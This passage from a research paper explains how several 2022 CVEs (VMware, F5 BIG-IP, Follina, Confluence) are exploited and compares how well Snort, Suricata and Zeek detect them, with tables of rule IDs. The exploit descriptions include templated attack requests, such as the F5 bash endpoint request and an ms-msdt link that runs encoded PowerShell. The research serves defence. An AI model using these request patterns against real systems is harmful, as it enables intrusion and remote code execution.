Exploitation of CVE-2022-22954 involves an attacker crafting a malicious request to the server that includes a Velocity Template Language (VTL) expression. The vulnerable server processes this request and inadvertently executes the code within the VTL expression. For instance, an attacker might send a specially crafted HTTP request that includes a VTL payload in a parameter, such as:

```
POST /catalog-portal/ui/oauth/verify?error=<VTL_payload> HTTP/1.1
Host: <vulnerable-vmware-server>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

error_description=<VTL_payload>
```

In this hypothetical request, the error and error_description parameters are exploited to inject a VTL expression, which, when rendered by the server, leads to the execution of the attacker's code. This could result in the attacker gaining complete control over the affected VMware Workspace ONE Access server.

This vulnerability highlights the importance of thorough input validation and output sanitization in web applications, especially in critical infrastructure like identity and access management systems. The exploitation of CVE-2022-22954 underlines the risks associated with template engines and the necessity of secure coding practices to prevent such injection vulnerabilities.

In response to this discovery, VMware released a security patch to address the vulnerability, underscoring the need for regular security assessments and timely updates in enterprise software environments. This case serves as a reminder of the continuous threats faced

in complex web-based applications and the importance of maintaining a proactive security posture in protecting sensitive systems and data.

3.2.9. CVE-2022-22960: VMware Products Authentication Bypass and RCE

CVE-2022-22960 is a significant vulnerability discovered in several VMware products, including VMware Workspace ONE Access, Identity Manager, and vRealize Automation. This vulnerability is characterized by its ability to enable an attacker to bypass authentication mechanisms and potentially execute arbitrary code remotely, posing a critical threat to the security of the affected systems.

The technical nature of CVE-2022-22960 lies in the improper implementation of authentication controls within the affected VMware products. This vulnerability allows an attacker to forge authentication data and gain unauthorized access to the application. Once inside, the attacker can exploit further vulnerabilities to execute remote code.

Exploiting CVE-2022-22960 typically involves two stages: authentication bypass and subsequent remote code execution. The initial phase of the exploit involves the attacker sending a crafted request to the affected application. This request manipulates the authentication process by exploiting a flaw in the authentication token validation or leveraging other weaknesses in the authentication mechanism. For instance, the attacker might send a request with a specially crafted header or cookie that the application erroneously processes as valid authentication data.

Once authentication is bypassed, the attacker can target internal components of the application to execute arbitrary code. This can be achieved through various methods, including, but not limited to, injecting malicious scripts or commands into the application, which are then executed by the server. An example of a potential exploit request might resemble the following:

```
POST /vcac/org/<organization-name>/catalog-service/api/consumer/entitledCatalogItemViews HTTP/1.1
Host: <vulnerable-vmware-server>
X-VRMA-CUSTOM-TOKEN: <crafted-token>
Content-Type: application/json
Content-Length: <length>

{
 "malicious_payload": "..."
}
```

In this hypothetical request, the X-VRMA-CUSTOM-TOKEN header is used to bypass authentication, with the body of the request containing a payload designed to trigger remote code execution within the application.

The identification of CVE-2022-22960 underscores the need for rigorous security measures in authentication processes and the criticality of thorough input validation within enterprise applications. It also highlights the importance of regularly updating and patching software to protect against newly discovered vulnerabilities.

In response to CVE-2022-22960, VMware released patches to mitigate the vulnerability, reinforcing the imperative for ongoing security vigilance in complex software environments. This case exemplifies the ever-present risks in modern web applications and the need for a proactive, security-focused approach to software development and maintenance.

3.2.10. CVE-2022-1388: F5 BIG-IP iControl REST Authentication Bypass

CVE-2022-1388 is a critical security vulnerability in the F5 BIG-IP platform, affecting the iControl REST interface. This vulnerability allows an unauthenticated attacker to bypass authentication mechanisms and execute arbitrary system commands, presenting a severe threat to the integrity and security of the affected systems.

The vulnerability lies in improperly handling HTTP headers in the iControl REST interface. This interface allows administrators to configure and manage F5 BIG-IP devices via RESTful APIs. However, due to the vulnerability, an attacker can exploit how the iControl REST interface processes X-F5-Auth-Token headers and other security checks. An attacker can manipulate the authentication process by sending a specially crafted HTTP request with an anomalous sequence of headers, effectively bypassing it.

The exploitation process involves crafting an HTTP request to the iControl REST interface that includes specific headers, such as the X-F5-Auth-Token and Host headers, in a way that confuses the system's authentication logic. For example:

```
POST /mgmt/tm/util/bash HTTP/1.1
Host: localhost
Content-Type: application/json
X-F5-Auth-Token: <manipulated-token>
Connection: Close
```

```
Content-Length: <length>

{
 "command": "run",
 "utilCmdArgs": "-c <command>"
}
```

The X-F5-Auth-Token header is manipulated in this request, while the Host header is set to localhost. The combination of these headers misleads the server into thinking that the request is an internal process and thus bypasses the usual authentication checks. The request's body contains a command to be executed by the system's command shell, leading to potential unauthorized access and control over the BIG-IP device.

CVE-2022-1388 highlights the criticality of proper header validation and the risks associated with exposing management interfaces. This vulnerability demonstrates how seemingly minor oversights in software design can lead to significant security breaches, emphasizing the importance of thorough security testing and validation in web-based interfaces.

Following discovering this vulnerability, F5 Networks released patches and advisories recommending immediate updates for affected devices. This incident underlines the necessity of routine security audits and prompt patch management, particularly in network infrastructure components critical to organizational operations.

3.2.11. CVE-2022-30190: Microsoft Support Diagnostic Tool (MSDT) RCE

CVE-2022-30190, colloquially known as “Follina,” is a critical remote code execution (RCE) vulnerability found in the Microsoft Support Diagnostic Tool (MSDT). This vulnerability poses a significant security threat as it can be exploited through Microsoft Office documents, even if macros are disabled. The primary mechanism of exploitation leverages the MSDT protocol URI handling to execute arbitrary code when a specially crafted file is opened.

At the core of CVE-2022-30190 is the inappropriate handling of MSDT calls via the URL protocol from within Office applications. MSDT is typically used for troubleshooting and diagnostic purposes in Windows and can be invoked through specific URI calls. However, this vulnerability allows attackers to craft a document (such as a Word file) containing a malicious MSDT URI. When this document is opened, the URI triggers the MSDT process, which can be

manipulated to execute arbitrary PowerShell commands without any user interaction beyond opening the file.

The exploit process generally involves embedding a malicious ms-msdt link within a document. For instance, the attacker might create an Office document with an embedded object or hyperlink that includes a crafted ms-msdt linksuch as:

```
<a href="ms-msdt:/id PCWDiagnostic /skip TRUE /param \"-skip 0 -ep PowerShell -enc <Base64-encoded-PowerShell-script>\"">Click here</a>
```

When a user opens this document and interacts with the embedded object or hyperlink, the MSDT utility is triggered with the supplied parameters. The "-enc" argument here is particularly critical as it contains a Base64-encoded PowerShell script. PowerShell decodes and executes this script, leading to the execution of arbitrary code on the victim's machine.

This exploitation method is highly concerning due to its ability to bypass conventional security measures like macro-disabled environments in Office applications. It showcases the potential danger of protocol handlers and the necessity for their secure implementation in software applications.

In response to CVE-2022-30190, Microsoft issued a series of patches and workarounds to mitigate the risk. This included updates to Office behavior to prevent such abuses of the MSDT protocol. The discovery of this vulnerability underscores the importance of comprehensive security practices in software design and the need for continuous vigilance in the face of evolving cyber threats.

3.2.12. CVE-2022-26134: Atlassian Confluence and Data Center Critical RCE

CVE-2022-26134 is a highly critical vulnerability in Atlassian Confluence and Data Center, identified as a remote code execution (RCE) flaw. This vulnerability is particularly alarming due to its potential to allow an unauthenticated attacker to execute arbitrary code on Confluence Server and Data Center instances, posing a significant risk to the security and integrity of these systems.

The vulnerability originates from a flaw in the Object-Graph Navigation Language (OGNL) expression injection within Atlassian Confluence. OGNL is a powerful expression language used for getting and setting properties of Java objects, but it can also be misused to

inject and execute arbitrary Java code. In the case of CVE-2022-26134, the vulnerability arises from insufficient validation and sanitization of user-supplied OGNL expressions. This allows an attacker to inject malicious OGNL expressions into the server's memory, which get executed, leading to RCE.

The exploitation mechanism involves sending a crafted request containing a malicious OGNL expression to a vulnerable Confluence server. For example, an attacker might send an HTTP request with a specially crafted parameter that the server erroneously evaluates as an OGNL expression. The execution of this expression can lead to arbitrary Java code execution on the server, giving the attacker the ability to control the server remotely. A conceptual representation of an exploit might look like this:

```
POST /<confluence-endpoint> HTTP/1.1
Host: <vulnerable-confluence-server>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

parameter=<malicious_ognl_expression>
```

In this request, the attacker manipulates the parameter value to include a malicious OGNL expression. When the Confluence server processes this request, the malicious expression is executed, potentially compromising the server.

The discovery of CVE-2022-26134 underscores the critical importance of input validation and sanitization in web applications, particularly in applications that interpret and execute user-supplied data as code. This vulnerability also highlights the risks associated with powerful expression languages like OGNL and the need for strict security controls when using them.

In response to this vulnerability, Atlassian released patches to fix the issue and advised all Confluence and Data Center users to update their installations immediately. This incident serves as a potent reminder of the necessity for ongoing security monitoring, regular software updates, and robust security practices in the face of evolving cyber threats.

3.3. Scapy Proof of Concept Testing

3.3.1. Testing Environment

The testing environment for this experiment was meticulously structured to evaluate the effectiveness of Suricata, Zeek, and Snort in analyzing network traffic, using Scapy for packet generation. The setup comprised a host machine operating on Windows 11 and a virtualized instance of the SANS SIFT Workstation, which hosted the network monitoring tools. The configuration was designed to create a controlled scenario where the trio of network monitoring tools could precisely analyze custom network packets crafted by Scapy.

The host machine, running Windows 11, was equipped with Python 3.0 and the Scapy library. This setup enabled the generation of a diverse range of network packets. The network interface on the host machine was configured with an IP address within the same subnet as the virtual machine, ensuring seamless routing of packets generated by Scapy towards the SIFT workstation.

The SANS SIFT Workstation, deployed on a virtualization platform like VMware Workstation or VirtualBox, operated on an Ubuntu-based system. It was equipped with Suricata, Zeek, and Snort, each installed and configured per the requisite guidelines for effective operation. The virtual machine utilized the Bridged Network mode, allowing it to appear as a separate entity on the network and facilitating a more realistic traffic capture scenario. The static IP address of the virtual machine was also set within the same subnet as the host, ensuring direct communication.

In this bridged configuration, the network monitoring tools within the virtual machine – Suricata, Zeek, and Snort – were all tuned to monitor the virtual network interface. Basic detection rules were established in each tool to capture and log network traffic, including custom rules designed to detect specific packet types and patterns generated by Scapy.

During the experimentation, Scapy was utilized on the Windows 11 host to generate and send various packet types, such as TCP, UDP, and ICMP, along with varying payloads and flags. The objective was to test the detection and logging capabilities of the monitoring tools against a wide array of network behaviors. The scripts incorporated scenarios including malformed packets, unusual TCP flags, and specific byte patterns in payloads aimed at challenging the anomaly detection prowess of the tools.

The testing procedure involved initiating the monitoring tools on the SIFT VM to scrutinize the network interface actively. Concurrently, traffic was generated using Scapy, targeting the IP address of the SIFT VM. This traffic was aligned with the detection rules in place within the monitoring tools. The effectiveness of Suricata, Zeek, and Snort in identifying the diverse types of traffic and anomalies introduced by Scapy was then meticulously analyzed by examining the logs generated by each tool.

3.3.2. Scapy Test Results

In presenting the Scapy test results, it is essential to note that this section provides an excerpt from a broader analysis rather than a comprehensive detailing of every CVE. While all 12 CVEs mentioned can be detected by each network-based Intrusion Detection System (IDS) tool, the focus here is on those CVEs that best demonstrate the effectiveness of IDS configurations in real-world scenarios. Several criteria guided this selection: the prevalence and severity of the CVEs, their relevance to current security landscapes, and the potential for demonstrating varied responses from different IDS tools. This approach aligns with the goal of illustrating these tools' capability to detect vulnerabilities and the importance of proper configuration and updating to address evolving threats. The CVEs chosen for detailed analysis include those with widespread impact and ongoing exploitation, such as CVE-2018-13379, the ProxyShell set (CVE-2021-34473, CVE-2021-31207, CVE-2021-34523), and others like CVE-2021-26084 and CVE-2021-44228. This selection process underscores a critical aspect of cybersecurity—the continuous need for vigilance and adaptation in the face of dynamic threats.

CVE	Proof of Concept Tested	Snort	Suricata	Zeek
CVE-2018-13379: Fortinet FortiOS and FortiProxy SSL VPN	Exploit-DB 47287	They were detected via two default rules. Rule SID:51372 and 51370 are triggered by HTTP GET requests with directory traversal patterns in the	Alerts triggered with SID:2034005 and SID:2027883 for HTTP GET requests that match the exploit pattern in the URI. Detection includes	HTTP log (**http.log**) records the HTTP GET request, noting the method, URL, host, user-agent, and status code. If a 200

CVE	Proof of Concept Tested	Snort	Suricata	Zeek
credential exposure		URI pointing to **/remote/fgt_lang**.	path traversal sequences and depth checks in the HTTP URI.	OK response is received for the crafted URL, it indicates a successful exploit. SSL log (**ssl.log**) would provide details of the SSL/TLS handshake, offering context to the encrypted traffic during exploitation.
CVE-2021-34473: ProxyShell - Microsoft Exchange Server RCE	GitHub ProxyShell	Snort rule with SID:57983 detecting SSRF attempts via /autodiscover in the HTTP URI and manipulation with the Email parameter in the Cookie header.	Suricata ETPro rules with SID:2034688 for detecting anomalous auto-discover access in HTTP POST requests.	Zeek's HTTP logger (**http.log**) records the POST request details, including headers and body content that match the exploitation pattern, such as unexpected paths in the URL or Cookie header manipulations.
CVE-2021-31207: ProxyShell -	GitHub ProxyShell	Multiple default Snort rules, including:	ET default Suricata rules triggered include:	Zeek's HTTP logger (http.log) records the POST request details

CVE	Proof of Concept Tested	Snort	Suricata	Zeek
Microsoft Exchange Server Security Feature Bypass		- SID:60486 detecting arbitrary file write attempts via NewObject in the Exchange Control Panel - SID:57909 detecting SSRF attempts via the autodiscover service. - SID:57908 is detecting email parameter manipulation in auto-discover requests. - SID:57907 is detecting email parameter manipulation in auto-discover requests. - SID:58249 detecting security feature bypass via PowerShell interface.	- SID:2033682 - SID:2033683 - SID:2033681 - SID:2033701 - SID:2035648	indicative of the exploitation pattern, such as anomalous PowerShell commands or auto-discover requests with unusual parameters.
CVE-2021-34523: ProxyShell - Microsoft Exchange Server	GitHub ProxyShell	Default Snort rules triggered: 1. SID:58249 - Microsoft Exchange server security feature bypass	No default rules were found. Suricata can detect CVE-2021-34523, but specific SIDs were not provided during testing.	Zeek's HTTP logger (http.log) would record relevant HTTP request details. Given Zeek's scripting capabilities,

CVE	Proof of Concept Tested	Snort	Suricata	Zeek
Elevation of Privilege		2. SID:57909 - Microsoft Exchange auto-discover server-side request forgery 3. SID:57908 - Microsoft Exchange auto-discover server-side request forgery. 4. SID:57907 - Microsoft Exchange auto-discover server-side request forgery 5. SID:57983 - Microsoft Exchange auto-discover server-side request forgery.		it could identify anomalous behavior or unusual PowerShell command executions indicative of privilege escalation attempts.

Table 2: Comparative Analysis of IDS Tool Responses to Selected CVEs

Table 2 above represents a focused examination of selected CVEs based on their significance and the insights they offer into the functionality of network-based IDS tools. It is crucial to recognize that while the table does not encompass all 12 CVEs initially mentioned, properly configured IDS tools detect each of these vulnerabilities. The decision to highlight specific CVEs was driven by their varied nature and the extent to which they have been exploited in real-world scenarios. This selective approach allows a deeper understanding of how different IDS tools respond to various threats. It emphasizes the importance of keeping such tools up-to-date and well-configured to combat a constantly evolving threat landscape effectively. The key

takeaway from this analysis is the pivotal role that IDS tool configuration plays in ensuring robust cybersecurity defenses, particularly against widespread and persistent vulnerabilities.

4. Recommendations and Implications for Future Research

Analyzing various CVEs and their detection through network-based Intrusion Detection Systems (IDS) like Snort, Suricata, and Zeek offers insightful perspectives for practitioners and future researchers. This section outlines recommendations for enhancing cybersecurity practices and suggests avenues for further research.

4.1. Recommendations for Practice

4.1.1. Emphasis on Dynamic Configuration of IDS Tools

The evolving nature of cyber threats, as demonstrated by the CVEs analyzed, underlines the necessity for dynamic and adaptive configuration of IDS tools. Security teams should regularly update their IDS configurations to include new rules and signatures that address emerging vulnerabilities. Automated tools or scripts that periodically check for and implement updates from trusted sources could be instrumental in maintaining up-to-date defenses.

4.1.2. Integration of Threat Intelligence

Incorporating real-time threat intelligence into IDS configurations can significantly enhance their effectiveness. By utilizing feeds that provide current information about new vulnerabilities, attack patterns, and threat actors, organizations can proactively adjust their IDS settings to detect and mitigate these evolving risks.

4.1.3. Comprehensive Logging and Analysis

Effective logging and analysis are paramount. Logs generated by IDS tools should be comprehensively analyzed using advanced analytical tools that employ techniques like machine learning to detect subtle and complex attack patterns. This approach can aid in uncovering sophisticated threats that might otherwise go undetected.

4.2. Implications for Future Research

4.2.1. Development of Adaptive IDS Algorithms.

Future research should explore the development of IDS algorithms that can adaptively learn and adjust to new threats. Utilizing artificial intelligence (AI) and machine learning (ML) techniques, these systems could dynamically update their detection mechanisms without requiring manual rule setting.

4.2.2. Cross-Tool Efficacy Analysis

Further research is needed to compare the efficacy of different IDS tools against a broader array of CVEs. Comparative studies could reveal strengths and weaknesses in different IDS systems, providing valuable insights for developers and end-users.

4.2.3. Longitudinal Studies on Threat Evolution

Longitudinal studies focusing on the evolution of cyber threats and the effectiveness of various IDS configurations over time would provide crucial data on how attack vectors change and how defensive strategies can be adapted.

4.2.4. Impact of Emerging Technologies

The impact of emerging technologies, such as quantum computing and IoT (Internet of Things), on IDS capabilities and vulnerabilities presents a rich area for research. Understanding how these technologies might alter cybersecurity is critical for future readiness.

5. Conclusion

In 2022, the most exploited vulnerabilities identified by CISA all exhibited network-based exploit signatures detectable by NIDS solutions like Suricata, Zeek, and Snort. The availability of default rules in Snort and Suricata, designed to identify these vulnerabilities, enables cybersecurity teams to focus more on fine-tuning these systems rather than developing new signatures. Leveraging the strengths of each IDS tool is essential for a comprehensive defense strategy. Suricata, Zeek, and Snort each offer distinct functionalities, with Zeek particularly adept at anomaly detection. Employing all three solutions allows organizations to

establish a more resilient and adaptable cybersecurity infrastructure, proficient in identifying known vulnerabilities and detecting anomalous behaviors indicative of emerging threats.

References

Aykanat, C., Dayar, T., & Körpeoğlu, İ. (2004). Computer and Information Sciences: ISCIS 2004, 19th International Symposium, Kemer-Antalya, Turkey, October 27-29, 2004: Proceedings.

CISA. (2023, August 3). *2022 Top Routinely Exploited Vulnerabilities | CISA*. Cybersecurity and Infrastructure Security Agency CISA. https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-215a

Karabacak, B., & Whittaker, T. (2022). Zero Trust and Advanced Persistent Threats: Who Will Win the War? International Journal of Cyber Warfare and Terrorism (IJCWT), 12(1), 1-15. doi:10.34190/iccws.17.1.10

Kida, M., & Olukoya, O. (2022). Nation-State Threat Actor Attribution Using Fuzzy Hashing. IEEE Access. doi:10.1109/ACCESS.2022.3233403

Pranggono, B., & Arabo, A. (2020). COVID-19 pandemic cybersecurity issues. Information Technology and Libraries, 39(4), 20-29. doi:10.1002/itl2.247

Urquhart, L. D. (2017). Exploring Cybersecurity and Cybercrime: Threats and Legal Responses. Journal of Law, Technology & the Internet, 8, 1-23.

Wang, T., Wei, L., & Zou, H. (2012). Risk quantified evaluation method and platform design for grade protection. *Proceedings of the 2012 International Conference on Communication Technology and System Design*. https://doi.org/10.2991/citcs.2012.180